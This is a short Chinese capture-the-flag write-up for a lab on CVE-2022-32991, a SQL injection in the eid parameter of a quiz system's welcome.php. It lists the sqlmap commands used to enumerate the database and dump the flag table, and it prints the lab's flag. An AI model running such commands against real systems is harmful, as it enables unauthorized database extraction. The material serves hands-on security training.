【春秋云境】CVE-2022-32991

访问靶场地址

 随便注册个账号能登录就

http://eci-2ze86owh7lf4tsy5z4d6.cloudeci1.ichunqiu.com/welcome.php?q=1

根据CVE官方：
在welcome.php，发现基于 Web 的测验系统 v1.0 通过 eid 参数包含一个 SQL 注入漏洞。

所以我们接下来就找eid 参数即可。我们点击start，跳转到一个界面，我们发现，url中就存在了eid 参数

http://eci-2ze4ejuck500r1lw7g13.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34

 

 接下来我们使用bp，抓到点击start的包，放到txt文件中，命名为1.txt

 然后到sqlmap里面使用命令爆破出我要的数据

sqlmap -r 1.txt  --random-agent -p eid --batch --dbs
sqlmap -r 1.txt  --random-agent -p eid --batch -D "ctf" --tables
sqlmap -r 1.txt  --random-agent -p eid --batch -D "ctf" -T "flag" --columns
sqlmap -r 1.txt  --random-agent -p eid --batch -D "ctf" -T "flag" -C"flag" --dump

 

得到flag

flag{a80c9fd6-1607-4182-8bd2-edd92d05e67f}